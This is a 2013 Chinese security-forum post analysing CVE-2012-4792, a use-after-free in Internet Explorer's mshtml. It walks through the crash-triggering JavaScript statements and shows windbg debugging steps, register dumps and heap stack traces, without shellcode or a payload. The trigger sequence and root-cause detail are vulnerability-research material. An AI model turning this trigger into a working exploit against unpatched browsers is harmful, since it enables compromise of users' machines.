[原创]CVE-2012-4792漏洞分析
发表于:
2013-6-7 03:41
6454
看了各大网站对于该漏洞的分析不够清晰,所以花了大力气分析了一下,其中有不当的地方大家可以指导指导,小弟是菜鸟。
接下来上菜。
过几天上一个完整版本。CVE-2012-4792 分析 原始病毒 一、对于 POC 的一点解释
首先给出该 CVE 的 poc
首先解释一下上面一段 js 代码的作用:
e0=form
e1=dfn
e2=q
e1.applyElement(e2);//相当于把 e2 作为 e1 的父亲即 q->dfn
e1.appendChild(document.createElement('button'));//相当于把 button 作为 e1 的孩子
即 q->dfn->button
e1.applyElement(e0);//相当于把 form 作为 q 的父亲,即 q->form->dfn->button,构造好的对象如图 1 所示。
图 1 构造好的对象
e2.outerText = "";//相当于删除了 q 里面所有的东西,这样 q 下面所有的东西也被删除了,如
图 2 所示。
图 2 执行 e2.outerText = ""之后的情况
e2.appendChild(document.createElement('body'));//在 q 下面加一个 body 即:q->body 如图 3 所示。
既然该漏洞为 use after free,那么 free 在这里就是指的 e2.outerText = "",该条语句意味着删除了 q 里面的所有的东东,而 use 在这里不是很容易理解(这里可以提前透露一下,因为e2.outerText = ""执行过之后需要找一个默认的元素,在寻找默认的元素的时候,因为在释放之前最后一次创建的对象是一个 button,所以把已经释放的 button 给找出来了,这样就用了一个已经释放的对象),我们接下来分析汇编层次是怎样的。二、分析触发的深层原因
将该段代码保存为 t.html 放在桌面。
接下来,我们来运行这段 poc,看看问题究竟出在哪里?0. 准备工作—磨刀霍霍
在检测 IE 哪里出问题之前,我们需要设置一下调试工具。Tips: gflags.exe 是<Debugging Tools for Windows>中的一个小工具。
首先我们需要设置 gflags,进入 windbg 的安装目录,输入如下命令
gflags /i iexplore.exe
gflags /i +ust +hpa iexplore.exe
windbg -g -G -o "C:\Program Files\Internet Explorer\iexplore.exe" "C:\Documents andSettings\dx\桌面\t.html"
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=066bafa8 ebx=067d8f30 ecx=00000052 edx=00000000 esi=00000000 edi=066bafa8
eip=637848ae esp=03f7f838 ebp=03f7f8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
637848ae 8b07 mov eax,dword ptr [edi] ds:0023:066bafa8=????????
!heap –p –a edi
address 066bafa8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
662d888: 66ba000 2000
7c947573 ntdll!RtlFreeHeap+0x000000f9
639943ef mshtml!CButton::`vector deleting destructor'+0x0000002f
63628a50 mshtml!CBase::SubRelease+0x00000022
63640d1b mshtml!CElement::PrivateRelease+0x00000029
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014
633a10b4 jscript!VAR::Clear+0x0000005c
6339fb4a jscript!GcContext::Reclaim+0x000000ab
6339fd33 jscript!GcContext::CollectCore+0x00000113
63405594 jscript!JsCollectGarbage+0x0000001d
633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
633a6650 jscript!VAR::InvokeByDispID+0x0000017c
633a9c0b jscript!CScriptRuntime::Run+0x00002989
633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
633a59f7 jscript!ScrFncObj::Call+0x0000008f
633a5743 jscript!CSession::Execute+0x00000175
kv
ChildEBP RetAddr Args to Child
03f7f8a4 635c378b 05380fc0 052266bc 052266a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
03f7f8c4 635c3e16 00000004 03f7fd4c 00000007 mshtml!CMarkup::OnLoadStatus+0x47
03f7fd10 636553f8 0539af48 00000000 00000007 mshtml!CProgSink::DoUpdate+0x52f
03f7fd24 6364de62 0539af48 0539af48 051d2d58 mshtml!CProgSink::OnMethodCall+0x12
03f7fd58 6363c3c5 03f7fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb
03f7fd78 77d18734 000d021e 0000000d 00000000 mshtml!GlobalWndProc+0x183
03f7fda4 77d18816 6363c317 000d021e 00008002 USER32!InternalCallWinProc+0x28
03f7fe0c 77d189cd 00000000 6363c317 000d021e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
03f7fe6c 77d18a10 03f7fe94 00000000 03f7feec USER32!DispatchMessageWorker+0x306 (FPO:[Non-Fpo])
03f7fe7c 028e2ec9 03f7fe94 00000000 034c9f58 USER32!DispatchMessageW+0xf (FPO: [1,0,0])
03f7feec 028848bf 049fd808 01000002 03ab4ff0
IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 (FPO: [1,22,4])
03f7ffa4 5de05a60 034c9f58 03aa8078 03f7ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO:[1,40,4])
03f7ffb4 7c80b729 03ab4ff0 01000002 03aa8078 iertutil!CIsoScope::RegisterThread+0xab (FPO:[1,0,4])
03f7ffec 00000000 5de05a52 03ab4ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO:[Non-Fpo])
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: